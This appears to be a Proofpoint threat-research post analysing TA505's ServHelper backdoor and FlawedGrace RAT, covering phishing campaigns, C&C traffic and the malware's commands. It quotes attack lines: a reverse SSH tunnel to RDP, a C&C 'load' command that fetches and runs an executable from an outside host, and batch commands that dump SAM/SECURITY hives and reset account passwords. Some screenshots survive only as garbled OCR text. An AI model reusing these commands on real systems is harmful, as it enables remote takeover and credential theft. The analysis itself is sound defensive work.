ServHelper and FlawedGrace - New malware introduced by TA505

proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

January 9, 2019





<u>Threat Insight</u> ServHelper and FlawedGrace - New malware introduced by TA505



January 09, 2019 Dennis Schwarz and Proofpoint Staff

Overview

For much of 2018, we observed threat actors increasingly distributing downloaders, backdoors, information stealers, remote access Trojans (RATs), and more as they abandoned ransomware as their primary payload. In November 2018, <u>TA505</u>, a prolific actor that has been at the forefront of this trend, began distributing a new backdoor we named "ServHelper". ServHelper has two variants: one focused on remote desktop functions and a second that primarily functions as a downloader. Additionally we have observed the downloader variant download a malware we call "FlawedGrace." FlawedGrace is a full-featured RAT that we first observed in November 2017. TA505 appears to be actively targeting banks, retail businesses, and restaurants as they distribute these malware families. This targeting falls in line with other activity we reported earlier in 2018.[1] [2]

Campaign Analysis

November 9 "Tunnel" Campaign

On November 9, 2018, we observed a relatively small email campaign (thousands of messages) delivering a new malware family that we call "ServHelper" based on file names associated with infection. The campaign primarily targeted financial institutions and was attributed to the threat actor TA505. The messages (Figure 1) contained Microsoft Word or Publisher attachments with macros that, when enabled, downloaded and executed the malware. This campaign used the "tunnel" variant of ServHelper, described in the "Malware Analysis" section.

- 🖬 ∽ ଓ ↑ ୬ ▪	Emailing: DSC02937 - Message (Plain Text)	▣ - □	×
File Message 🗘 Tell me what you want to do			
Sunk Delete Reply Reply Forward More - All Quick Steps	OneNote Actions - Unread - Tags Gelting Com		^
Abul Khair <hrd@impgroup.co.id></hrd@impgroup.co.id>		01	5:29 AM
Emailing: DSC02937			
We removed extra line breaks from this message.			\sim
DSC02937.doc - 66 KB			
Your message is ready to be sent with the following file or link attachments:			
DSC02937			
Note: To protect against computer viruses, e-mail programs may prevent se handled.	nding or receiving certain types of file attachments. Check your e-mail security settings to determine how att	achments are	
		т	

Figure 1: Example email message from the November 9 "tunnel" campaign

November 15 "Downloader" Campaign

On November 15, 2018, we saw a similar, but larger campaign (tens of thousands of messages) from the same actor. In addition to financial institutions, this campaign also targeted the retail industry. The messages (Figure 2) contained Microsoft ".doc", ".pub", or ".wiz" attachments. The documents contained macros that, when enabled, downloaded and executed the ServHelper malware. This campaign used the "downloader" variant of ServHelper with the tunneling functionality removed.

$\bullet \bullet \bullet$	o ⊧o	വ 🗳			[EXTER	NAL] BAN	NK ACCOUNT DETAIL	Ter	mporary Items	
Messag	ge									? ^
Delete	Reply Re	oly Forward	Meeting	ent Move	Junk	Rules	Read/Unread Categor	ze Fo	ollow Up	
[EXTE	ERNAL]	BANK A	CCOUNT	DETAIL						
	Ra	eesh Bala	in <antonio< th=""><th>@elrodeo.es</th><th>></th><th></th><th></th><th></th><th></th><th></th></antonio<>	@elrodeo.es	>					
RE	B Thu Sho	rsday, Nove w Details	mber 15, 2018	at 7:16 AM						
	W	Bank De 95.9 KB	tail.doc	~						
	4	Download A	ll ⓒ Pr	eview All						
Attache Kindly s	ed is the B send us th	ank Details e transfer/o	deposit detai	ls to track you	r paymer	nt.				
***Plea	ase note; i	ve don't ac	cept deposit	s through mad	hine.					



Figure 2: Example email message from the November 15 "downloader" campaign

December 13 "FlawedGrace" Campaign

On December 13, 2018, we observed another large ServHelper "downloader" campaign targeting retail and financial services customers. The messages used a mixture of Microsoft Word attachments with embedded malicious macros, PDF attachments with URLs linking to a fake "Adobe PDF Plugin" webpage linking to the malware (Figure 3), and direct URLs in the email body linking to a ServHelper executable.



Figure 3: Example PDF attachment containing a URL linking to the fake "Adobe PDF Plugin" page

In this campaign, we observed ServHelper download (Figure 4) and execute an additional malware that we call "FlawedGrace." FlawedGrace is a robust remote access trojan (RAT) that we initially encountered in November 2017, but have rarely observed since.

OL1	200		comg.cage.akypc.com	/ comg/ 11/ cmcc/ 10.0.2022.2107.3	onon 04 ,01		avn		20000-0010	000000000000	20030000
POST	200	HTTPS	afgdhjkrm.pw	/aggdst/Hasrt.php	1	2 text/html; cl	narset=U1	F-8	e51b3aed77	78fd2f0e468i	af21e9cf8
POST	200	HTTPS	afgdhjkrm.pw	/aggdst/Hasrt.php	1	2 text/html; cl	narset=U1	F-8	e51b3aed77	78fd2f0e468a	af21e9cf8
POST	200	HTTPS	afgdhjkrm.pw	/aggdst/Hasrt.php	3	0 text/html; ci	narset=U1	rF-8	5b61b10ea8	439a2c6d54e	958b0a665
GET	200	HTTP	copsidas.com	/b.exe	564,04	0 application/	x-msdowr	nload	efcee275d2	3b6e7158945	2b1cb3095
CNT	-	HTTPS		1		0			No body		
pe HELP to	learn m	ore									
nepectore	1.1	to Day and		las Oschastes Bata 🛜 FiddlasOsci		ilana 📃 Tira	-line				
Inspectors	🥜 Au	toResponde	er 🗹 Composer 🖸 Fidd	ler Orchestra Beta 🛛 🕁 FiddlerScrij	pt ≣ Log ∐ H	ilters Tim	eline		1		
v Syntax	View	WebForm	s HexView Auth	Cookies Raw JSON	Transformer	Headers Tex	tView	SyntaxView	ImageView	HexView	WebViev
<u>krm.pw/agg</u> ve ation/x-www dero URI Cli	idst/Has v-form-ui ient/1.0	rt.php HTT	P/1.1 :harset=utf-8	HTTP/112000 Date: Server: Apacne/2 Content-Length: 3 Keep-Alive: timed Connection: Keep Content-Type: test	.4.29 (UDUNTU) 30 ut=5, max=100 -Alive t/html; charset:	UTF-8					
sysid=					load^http://cops	das.com/b.exe					

Figure 4: Fiddler screenshot showing ServHelper downloading FlawedGrace

ServHelper Malware Analysis

ServHelper is a new malware family -- best classified as a backdoor -- that we first observed in the wild in November 2018. Its name is based on a filename (ServHelper.dll) that we noted in the November 9 "tunnel" campaign described above. A sample from a later campaign used command and control (C&C) URIs containing "/rest/serv.php" which also reference a "serv" component.

The malware is written in Delphi and at the time of this writing is being actively developed. New commands and functionality are being added to the malware in almost every new campaign so we will not focus on one specific sample for this analysis. Rather, we will discuss the malware family generally; see the "Indicators of Compromise" section below for specific reference samples.

As noted, there are two distinct variants of ServHelper: a "tunnel" variant and a "downloader" variant. The "tunnel" variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to "hijack" legitimate user accounts or their web browser profiles and use them as they see fit. The "downloader" variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader.

Both variants of ServHelper use the same HTTP C&C protocol on port 443 (HTTPS) and, less frequently, port 80 (HTTP). An example of the initial phone home to the C&C server is shown in Figure 5.

.ontent-Type: application/x-www-torm-urlencoded; charset=utt-8 User-Agent: service	
ISER-AGENT! SERVICE	
Loct 190 136 40 1	
051: 188.110.40.1	
2y=x2350/SISGGSdSdSySIG=Ny_upd_WINdows+/+Service+Pack+I+*28VerSiOn+6.1%2C+Bulld+/601%2	C+64-D1T
Coltion%29_X64_username%3A+	
lient pkt, 0 server pkts, 0 turns.	
<i>lient pkt, 0 server pkts, 0 turns.</i> 192.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Show and save data as	ASCII
<i>lient pkt, 0 server pkts, 0 turns.</i> I92.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Show and save data as	ASCII
lient pkt, 0 server pkts, 0 turns. I92.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Show and save data as	ASCII
lient pkt, 0 server pkts, 0 turns. 192.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Characteristics of the server pkts, 0 turns. Show and save data as nd:	ASCII Find Next
lient pkt, 0 server pkts, 0 turns. 192.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Show and save data as nd:	ASCII Find Next
Silient pkt, 0 server pkts, 0 turns. 192.168.0.108:49197 → 188.116.40.1:80 (327 bytes) Show and save data as nd:	ASCII Find Next

Figure 5: Example of ServHelper's initial phone home

Early versions of the malware used a semi-random URI such as: "/ghuae/huadh.php". Newer versions have started using more typical URIs such as:

- /support/form.php
- /rest/serv.php
- /sav/s.php

Most of the C&C domains that we have observed have been in the ".pw" top-level domain (TLD) such as:

- checksolutions[.]pw
- afgdhjkrm[.]pw

- pointsoft[.]pw
- dedoshop[.]pw

However, recently the developer has added support for ".bit" C&C domains; this TLD is associated with the cryptocurrency Namecoin and requires special DNS servers that the malware uses:

- dedsolutions[.]bit
- arepos[.]bit

The POST data in these C&C communications contains three URL-encoded parameters: "key", "sysid", and "resp". The "key" parameter is a hardcoded string in the malware that does not appear to be used elsewhere in the code. Examples of observed keys include:

- Gsiss744@sd
- asdgdgYss455
- #567sisGdsa

The "sysid" parameter contains a campaign ID in newer versions of the malware, the Windows version running on the infected machine, system architecture, username, and a random integer. Examples of observed campaign IDs include:

- clean12
- chistka12.17
- noP_19
- nonRDP
- no24
- ny_upd

The "resp" parameter contains responses to commands received from the controller.

An example command sent from the C&C server to the infected machine can be seen in the Fiddler screenshot in Figure 4 above. It contains a command, carrot ("^") delimiter, and command arguments. We observed the following commands in the malware:

nop

Implements a keep-alive type of functionality. The infected machine responds to the C&C server with a "nop ok" message.

tun ("tunnel" variant only)

Sets up a reverse SSH tunnel connecting the C&C server to the infected system's RDP port (3389). In earlier versions, a loader component performed the initial setup for this and other commands by:

- Extracting and dropping an OpenSSH binary from its PE resources
- Extracting, dropping, and configuring the RDP Wrapper Library software from its PE resources
- Creating a new user "support account" with a password of "Ghar4f5"
- Adding this user to the "Remote Desktop Users" and "Administrators" groups

In more recent versions, this functionality of the loader component was integrated into the core ServHelper code, using built-in Windows remote desktop support instead of a third-party software package. This command sets up a reverse SSH tunnel by executing the dropped OpenSSH binary with the following command line arguments:

-N -R <remote port>:localhost:3389 tunnel@<C&C server>

Once configured, ServHelper sends a "tun ok\r\nport:<remote port> tun pid:<SSH process id>" to the C&C server.

slp

Sets a sleep timeout.

fox ("tunnel" variant only)

Copies a Firefox web browser profile from one user to another. Earlier versions used the Windows "xcopy" command. Later versions download a self-extracting RAR file from the C&C server (/cp/cp.exe) and decompress it using the password "123". One of the files in this archive is a piece of software known as "Runtime's Shadow Copy" and it is used to copy the web browser profiles.

chrome ("tunnel" variant only)

Similar to the "fox" command but for Chrome web browser profiles.

killtun ("tunnel" variant only)

Kills an SSH tunnel process associated with a particular remote port. Once killed, it sends a "killtun ok" message to the C&C server.

tunlist ("tunnel" variant only)

Gets a list of all active SSH tunnels and responds to the C&C server with a message containing "active tun: <remote port>" entries for each active tunnel.

killalltuns ("tunnel" variant only)

Kills all SSH tunnel processes.

shell

Executes a shell command and sends the response to the C&C server.

load

Downloads and runs an executable from a specified URL. Responds to the C&C server with either "load no param ok" or "load param ok" depending if any command-line arguments were passed to the downloaded executable.

socks ("tunnel" variant only)

Similar to the "tun" command, but allows a reverse SSH tunnel to be built between the C&C server to any server/port (as specified by the command argument) through the infected system. Once configured, a "socks ok/r/nport:<remote port> tun pid:<SSH process id>" message is sent to the C&C server.

selfkill

Removes the malware from the infected machine.

loaddll ("downloader" variant only)

A newer command that has only been observed in the "downloader" variant. Similar to the "load" command, but for DLLs.

bk ("tunnel" variant only)

A newer command similar to the "tun" command. "bk" allows the reverse SSH tunnel to be set up using a C&C specified remote host instead of the hardcoded C&C server.

hijack ("tunnel" variant only)

A newer command that appears to hijack a user account with a known password ("123"). It does so by creating and scheduling a task "test" to run a batch file containing the following commands:

- reg export hklm\sam c:\sam.reg
- reg export hklm\security c:\sec.reg
- net user <command argument username> 123

It then schedules a task "test2" to run another batch file containing the following commands:

- schtasks /delete /tn "test" /F
- reg import c:\sam.reg
- reg import c:\sec.reg
- schtasks /delete /tn "test2" /F

Finally it runs the first scheduled task ands send a "ready! try to login with pass 123" message to the C&C server.

forcekill ("tunnel" variant only)

A newer command that is similar to the "killalltuns" but uses the Windows "taskkill" command.

sethijack ("tunnel" variant only)

A newer command that controls an "alerting" mechanism. A separate program thread monitors user logons. When a legitimate user becomes active and the threat actor is connected to the infected system using the previously created "supportaccount" account, it runs the "chrome" and "fox" commands, copying the legitimate user's web browser profiles to the "supportaccount" user. It then alerts the threat actor by sending message boxes containing "login detected, begin hijacking" and "profiles hijacked!" messages. These are sent by a "msg.exe" program contained in the "cp.exe" archive discussed in the "fox" command above.

chromeport ("tunnel" variant only)

A newer command that implements the same functionality as the "chrome" command.

During some of the ServHelper "downloader" campaigns, we observed commands (e.g., as shown in Figure 4 above) instructing the malware to download and execute another malware we call "FlawedGrace".

FlawedGrace Malware Analysis

FlawedGrace is a remote access trojan (RAT) named after debugging artifacts (class names) left in the analyzed sample (see Figure 6).

Address	Length	Туре	String
's' .data:0046CB84	00000012	С	.?AV <mark>Grace</mark> Thread@@
's' .data:0046CBA0	0000012	С	.?AV <mark>Grace</mark> Object@@
's' .data:0046CBBC	000001A	С	.?AV <mark>Grace</mark> TunnelClientIO@@
's' .data:0046CBE0	0000001C	С	.?AV <mark>Grace</mark> TunnelReadThread@@
's' .data:0046CC04	0000001D	С	.?AV <mark>Grace</mark> TunnelWriteThread@@
's' .data:0046CC2C	0000018	С	.?AV <mark>Grace</mark> TunnelClient@@
's' .data:0046CC4C	0000014	С	.?AV <mark>Grace</mark> TunnelIO@@
's' .data:0046CC68	0000017	С	.?AV <mark>Grace</mark> DelayThread@@
's' .data:0046CC88	0000018	С	.?AV <mark>Grace</mark> ObjectThread@@
's' .data:0046CCA8	0000020	С	.?AV <mark>Grace</mark> TunnelClientDirectIO@@
's' .data:0046CCD0	000001A	С	.?AV <mark>Grace</mark> SessionGeneric@@
's' .data:0046CCF4	00000019	С	.?AV <mark>Grace</mark> SessionClient@@
's' .data:0046CD18	0000020	С	.?AV <mark>Grace</mark> TransportWriteThread@@
's' .data:0046CD40	000001B	С	.?AV <mark>Grace</mark> TransportThread@@
's' .data:0046CD64	000001F	С	.?AV <mark>Grace</mark> TransportReadThread@@
's' .data:0046CD8C	0000026	С	.?AV <mark>Grace</mark> WireClientConnectionThread@@
's' .data:0046CDBC	0000016	С	.?AV <mark>Grace</mark> WireClient@@
's' .data:0046CDDC	0000027	С	.?AV <mark>Grace</mark> WireGenericConnectionThread@@
's' .data:0046CE0C	0000017	С	.?AV <mark>Grace</mark> WireGeneric@@

Figure 6: "Grace" class names shown by IDA Pro

The malware is written in C++. It is a very large program and makes extensive use of object-oriented and multithreaded programming techniques. This makes reverse engineering and debugging the malware both difficult and time consuming. The coding style and techniques suggest that FlawedGrace was not written by the same developer as ServHelper.

We initially observed FlawedGrace in an email campaign as early as November 2017, but until the recent ServHelper campaigns, we had not observed it being actively distributed again. The malware usually contains a debug string including a "version number" and "build date" distinct from the PE compile timestamp, allowing searches of various malware repositories to find additional versions:

- Unknown version number built at "Aug 7 2017 22:28:47"
- Version 2.0.7 built at "Oct 18 2017 04:18:39"
- Version 2.0.8 built at "Oct 26 2017 12:05:44"
- Version 2.0.9 built at "Nov 4 2017 22:28:10"
- Version 2.0.10 built at "Nov 20 2017 10:53:33"
- Version 2.0.11 built at "Dec 16 2017 08:02:46"

Per the malware's debug strings, significant development took place during the end of 2017. The ServHelper campaigns were distributing version 2.0.10 of the malware.

FlawedGrace creates, encrypts, and stores a configuration file containing the C&C IPs and ports in a "<hex digits>.dat" file (e.g., "C:\ProgramData\21851a60.dat"). The first 16 bytes of the file are an AES initialization vector (IV). The rest of the data is AES-encrypted in CBC mode. In the analyzed sample, the AES key was

hardcoded as "c3oeCSIfx0J6UtcV". Once decrypted, the configuration data is stored as a custom serialization (Figure 7). Early versions of the malware used the class names "GraceParams" and "GraceValue" when interacting with this part of the code, so it is likely that the serialization was designed and developed by the malware developer and not a standard format.

00000000	c4	9d	f4	e6	03	00	00	00	18	00	00	00	00	00	00	00	
00000010	00	00	00	00	00	00	00	00	00	00	00	00	27	00	00	00	
00000020	00	00	00	00	00	00	00	00	00	00	00	56	00	00	00	00	V
00000030	00	00	00	00	20	00	31	41	44	32	38	46	30	30	38	35	1AD28F0085
00000040	34	31	41	45	34	30	39	43	34	44	31	45	35	31	30	39	41AE409C4D1E5109
00000050	44	45	32	43	34	32	00	00	00	00	6c	00	00	00	00	00	DE2C421
00000060	00	00	00	07	00	73	65	72	76	65	72	73	00	00	00	00	servers
00000070	00	00	00	00	7e	00	00	00	00	03	00	5b	30	5d	ac	00	i~[9]i
00000080	00	00	92	00	00	00	1 a	00	00	00	04	00	04	00	68	6f	ho
00000090	73	74	34	00	36	00	2e	00	31	00	36	00	31	00	2e	00	st4.61.6.1
000000a0	32	00	37	00	2e	00	32	00	34	00	31	00	00	00	00	00	2.72.4.1
000000b0	bb	01	90	00	04	00	00	00	01	00	04	00	70	6f	72	74	
000000c0																	

Figure 7: Plaintext configuration file showing C&C IP and port

FlawedGrace uses a complicated binary protocol for its command and control. It can use a configurable port for communications, but all samples we have observed to date have used port 443. Figure 8 shows an example of the first four messages between an infected system and C&C server.

00000000 66 45 35 17 47 45 22 40 60 00 66 57 16 16 1 16 1 16 1 16 16 16 1 16 16 16 1 16 1			1.01
00000001C cc 80 2b df 1a d2 8f 00 85 41 ae 40 9c 4d 1e 51 +	00000000	06 45 36 17 47 43 52 47 01 00 00 00 02 00 .E6.GCRG	
0000001E 09 de 2c 42 39 10 5b ae f0 ff c1 41 0c 0c a5 19 , B9.[,A, 00000025 53 20 60 40 S`@ 00000020 53 10 60 40 S`@ 00000020 53 10 60 40 S`@ 00000020 53 b6 fb d2 db 5f 42 a5 47 52 XB GR 00000020 58 b6 fb d2 db 5f 42 a5 47 52 XB GR 00000022 c1 58 87 b6 20 00 01 00 00 00 83 00 00 85 43	0000000E	cc 80 2b df 1a d2 8f 00 85 41 ae 40 9c 4d 1e 51+A.@.M.Q	
0000002E 4a d2 60 5b 70 d8 02 J.'[0b{.,[p 0000002E 53 26 04 S'@ S'@ 00000000 b3 71 e4 9a 01 00 00 02 f5 2b 4b d2 c s'@ 00000000 b3 71 e4 9a 01 00 00 02 f5 2b 4b d2 c s'@ 00000000 b3 71 c4 9a 01 00 00 00 02 f5 2b db d2 c	0000001E	09 de 2c 42 39 10 5b ae f0 ff c1 41 0c 0c a5 19,B9.[A	
000000315 53 20 5''e 00000000 b37 cf b3 d1 e9 60 60 25 26 c	0000002E	4a d2 60 5b 20 4f db 9c 62 7b d4 2c 5b 70 d8 02 J.`[0 b{.,[p	
00000000 b3 71 e4 9s 01 00 01 00 00 00 02 58 2b 4b d2 bc .q/X+K 00000020 58 b6 fb d2 db 5f 42 a5 47 52 XB. GR 00000020 58 b6 fb d2 db 5f 42 a5 47 52 XB. GR 00000020 62 74 7a 39 462 4f bb 07 fa 40 10 ba 36 c7 80 00 63 43	000003E	53 20 60 40 S `@	
00000010 99 4a bf 24 bf 42 54 752 XB. GR 00000022 cr 47 as 94 62 40 00 08 54 xB. GR 00000022 cr 47 as 94 62 44 10 ba as 67 00 00 Generation 000000022 cr 47 as 94 02 04 04 04 00	00000	000 b3 71 e4 9a 01 00 01 00 00 00 2f 58 2b 4b d2 bc .q/X+K	
00000020 58 b6 fb d2 db 5f 42 a5 47 52 X	00000	010 99 4a bf 37 cf b3 d1 e9 6b b7 3b f0 69 8a d0 4b .J.7 k.;.iK	
00000042 b1 5e 87 b2 02 00 01 00 00 00 40 03 00 00 85 43 .^	00000	020 58 b6 fb d2 db 5f 42 a5 47 52 XB. GR	
00000052 e7 47 a3 94 62 4f b0 b7 fa 40 10 ba 36 e7 00 00 .G., b0, e., 6 0000062 04 00 14 03 00 00 cc ea ea 86 a0 30 7f 35 7d 32	00000042	b1 5e 87 b2 02 00 01 00 00 00 40 03 00 00 85 43 .^	
00000062 04 00 14 03 00 00 cc ca a ca 66 a0 30 7f a5 7d 32	00000052	e7 47 a3 94 62 4f b0 b7 fa 40 10 ba 36 e7 00 00 .Gb0@6	
00000072 46 e2 6b 02 3b cb cd c2 25 e3 17 e2 02 d0 ef 35 F.k.; %5 0000002 52 d0 20 91 a1 9b 20 e0 8f dd f3 2e 1d 0d 44 21 RD! 0000002 53 66 57 6f 5f 97 1a 54 26 a8 94 2c 29 e7 a1 e3 S.WoT &,D! 0000002 14 a2 a1 cc 43 74 ab f2 ee de c0 0b 1e 95 dd c5	00000062	04 00 14 03 00 00 cc ea ea 86 a0 30 7f a5 7d 32	
000000022 52 d0 20 91 a1 9b 20 e0 8f dd f3 2e 1d 0d 44 21 R	00000072	46 e2 6b 02 3b cb cd c2 25 e3 17 e2 02 d0 ef 35 F.k.; %5	
00000022 68 0f 1a ad 3c bd a2 a7 05 93 b4 a2 ca 4e 51 97 h <nq.< td=""> 000000A2 53 86 57 6f 5f 97 1a 54 26 a8 94 2c 29 e7 a1 e3 S.WoT &N. 000000A2 14 a2 a1 cc 43 74 ab f2 ee de c0 0b 1e 95 dc 5 K, 0000002 64 6a 0 81 b6 2a db 19 a3 d7 95 d2 f6 af 1b 59 nF*Y Noncetter 0000002 76 19 94 20 f4 a9 85 70 67 a2 73 c6 03 ee d9 59 Vp g.sY 0000002 98 35 b6 51 b4 cf 15 f7 de 44 b9 2b e5 9b 23 29 .5.Q D.+#) 0000012 95 9a 6a ae a1 c8 75 9 3d a9 44 b0 f8 b7 e6 f0 YY = D 0000012 30 25 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr.S.F. 2.vC.G 0000012 30 26 50 77 34 54 76 30 49 29 12 0f ec 4b 2f .s</nq.<>	0000082	52 d0 20 91 a1 9b 20 e0 8f dd f3 2e 1d 0d 44 21 RD!	
0000002 53 86 57 61 54 26 a8 94 2c 29 e7 a1 e3 S.WoT S.WoT S, A 00000022 14 a2 a1 cc 43 74 ab f2 ee de 00 b1 b9 dc	00000092	68 0f 1a ad 3c bd a2 a7 05 93 b4 a2 ca 4e 51 97 h <nq.< td=""><td></td></nq.<>	
000000022 14 a2 a1 cc 43 74 ab f2 ee ce c0 b1 e9 fd f5 fc	00000A2	53 86 57 6f 5f 97 1a 54 26 a8 94 2c 29 e7 a1 e3 S.WoT &,)	
000000C2 d1 58 12 89 73 0c 3c 4e 38 18 97 00 f3 61 41 aa .X.s.s.N 8aA. 00000002 6e 46 a0 81 b0 2a db 19 a3 d7 95 d2 f6 af 1b 59 nF**Y 0000002 76 19 94 20 f4 a9 85 70 67 a2 73 c6 03 ee d9 59 vp g.sY 0000012 04 59 a6 aa ea 1c 87 59 3d a9 44 b0 f8 b7 e6 f0 YY =.D 00000122 04 70 87 b6 16 0a 51 57 1 95 50 df 0b c6 55 1e 12 E.{a`.q.PU 00000122 30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000122 30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000122 30 2e 59 72 35 d4 6b 83 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000122 77 7a bd 54 95 53 df 2 63 e1 81 0a 50 fc 63 10 wzU q.r.K/ 0000012 77 7a bd 54 95 53 df 2 63 e1 81 0a 50 fc 63 10 wzU q.r.K/ 0000012 07 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb \$.s.F GRy.R. 00000122 00 87 2b 83 a7 c7 9b 2c6 fc 94 a2 66 47 b4 9d db w 0000012 08 72 b8 30 df 89 b2 12 da 77 7a e5 7c 3d 3b 0f 65 41 w.WT 00000122 3e 2c 55 5c 52 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\v.U N.WT 0000012 29 3e cb 5c 5c 58 20 ef 4 5c 76 e1 55 b3 2e e2 6e 80 >.U\v.U N.WT <t< td=""><td>000000B2</td><td>14 a2 a1 cc 43 74 ab f2 ee de c0 0b 1e 95 dd c5Ct</td><td></td></t<>	000000B2	14 a2 a1 cc 43 74 ab f2 ee de c0 0b 1e 95 dd c5Ct	
00000022 6e 46 a0 81 b0 2a db 19 a3 d7 95 d2 f6 af 1b 59 nF* nr Y 00000022 76 19 94 20 f4 a9 85 70 67 a2 73 c6 03 ee d9 y p.g.sY 00000012 98 35 b6 51 b4 c1 15 f7 de 4b b7 b2 29	000000C2	d1 58 12 89 73 0c 3c 4e 38 18 97 00 f3 61 41 aa .Xs. <n 8aa.<="" td=""><td></td></n>	
000000E2 76 19 94 20 f4 a9 85 70 67 a2 73 c6 03 ee d9 59 vpg.sy 0000000F2 98 35 b6 51 b4 cf 15 f7 de 44 b9 2b es by cpg.sy 00000102 0d 59 aa ae 1c 87 59 3d a9 44 b9 2b es by cpg.sy 00000112 45 08 7b 16 do as 15 17 95 50 df	000000D2	6e 46 a0 81 b0 2a db 19 a3 d7 95 d2 f6 af 1b 59 nF*Y	
000000F2 98 35 b6 51 b4 cf 15 f7 de 44 b9 2b e5 9b 23 29 .5.0 D.+#) 00000102 0d 59 a6 ae ae 15 71 95 50 df bb c5 51 12 E.{a`q.PU 00000122 30 2e 57 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vc.G 00000122 30 2e 50 d5 f1 17 07 74 bd 32 b5 94 vV q.pt.2 00000122 30 2e 30 40 e9 12 off <cd>c4 2f .&e Q.vc.G 00000122 30 2f 63 e1 10 77 46 32 25 94 vV q.pt.2 00000122 ab 2f 2f 6f 2f 2f</cd>	000000E2	76 19 94 20 f4 a9 85 70 67 a2 73 c6 03 ee d9 59 vp g.sY	
00000102 0d 59 a6 aa ea 1c 87 59 3d a9 44 b0 f8 b7 e6 f0 .YY =.D 00000112 45 08 7b 61 60 a5 15 71 95 50 df 0b c6 55 12 E.(a`q .PU 00000122 30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000122 bb c3 26 ac 2d 07 95 da a0 40 e9 12 0f ec 4b 2fe 0.Yr5.F. 2.vC.G 00000122 bb c3 26 ac 2d 07 95 da a0 40 e9 12 0f ec 4b 2fe 0.Yr5.F. 2.vC.G 0000012 ab 54 95 53 df 2 63 e1 81 0a 50 fc 63 10 wzIU=. cP.c. 0000012 ab 7 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54(jT 0000012 ab 7 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54(jT 0000012 ab 7 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db+t&fG 0000012 ab 84 b0 d4 3b d0 18 a6 54 9e ad 9f 44 a5 4f;, 0000012 ab 45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E,>/.K.} '3& 0000012 ab c55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.Un. 6 client pkts, 3 server pkts, 6 turns. Entire conversation (1136 bytes) Save as Back Close	000000F2	98 35 b6 51 b4 cf 15 f7 de 44 b9 2b e5 9b 23 29 .5.0D.+#)	
00000112 45 08 7b 61 60 as 15 71 95 50 df 0b c6 55 1e 12 E.{a`qPU 00000122 30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000122 bb c3 26 ac 2d 07 95 da a0 40 e9 12 of ec 42 f.c.<	00000102	0d 59 a6 aa ea 1c 87 59 3d a9 44 b0 f8 b7 e6 f0 .YY =.D	
00000122 30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G 00000132 bb c3 26 ac 2d 07 95 da a0 40 e9 12 0f ec b2 f	00000112	45 08 7b 61 60 a5 15 71 95 50 df 0b c6 55 1e 12 E.{a`q.PU	
00000132 bb c3 26 ac 2d 07 95 da a0 40 e9 12 0f ec 4b 2f k@K/ 00000142 76 7f f3 9c 9d 56 7f 94 71 01 70 74 bd 32 b5 94 vV q.pt.2 00000152 77 7a bb d5 49 55 3d f2 63 e1 81 0a 50 fc 63 10 wz.rU=.cP.c. 00000162 ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54 (jT 00000120 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb .\$.F GR.y.R. 00000121 db 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db	00000122	30 2e 59 72 35 d6 46 b8 32 2e 76 43 15 47 d3 c9 0.Yr5.F. 2.vC.G	
00000142 76 7f f3 9c 9d 71 01 70 74 bd 32 b5 94 vv., q.pt.2 00000152 77 7a bd 54 95 3d f2 63 e1 81 0a 50 fc 63 10 wzIU=. cP.c. 00000152 ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 e1 54 , (jT 00000172 07 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb .\$T GR.y.R. 00000182 90 87 b1 b1 8a 65 76 e1 55 76 27 22 21 BA FG FG Fi 0000012 90 84 b0 43 a6 54 54 54 54 10	00000132	bb c3 26 ac 2d 07 95 da a0 40 e9 12 0f ec 4b 2f	
00000152 77 7a bb d5 49 55 3d f2 63 e1 81 0a 50 fc 63 10 wzIU=. cP.c. 00000162 ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54 (jT 00000162 ab 97 d9 db 28 e0 c0 87 6a b1 bc 81 e0 81 e1 54 (jT 00000122 d7 24 93 8e 46 65 f3 e9 47 52 95 1a 79 b6 52 eb .\$F GRy.R. 00000122 db 88 e4 dd 18 a6 54 92 db 1.BAd T D0 00000122 45 26 26 94 f3 c9 e, >/.K.} `3 0000 12 ac b5 c5 b3	00000142	76 7f f3 9c 9d 56 7f 94 71 01 70 74 bd 32 b5 94 vV., g.pt.2	
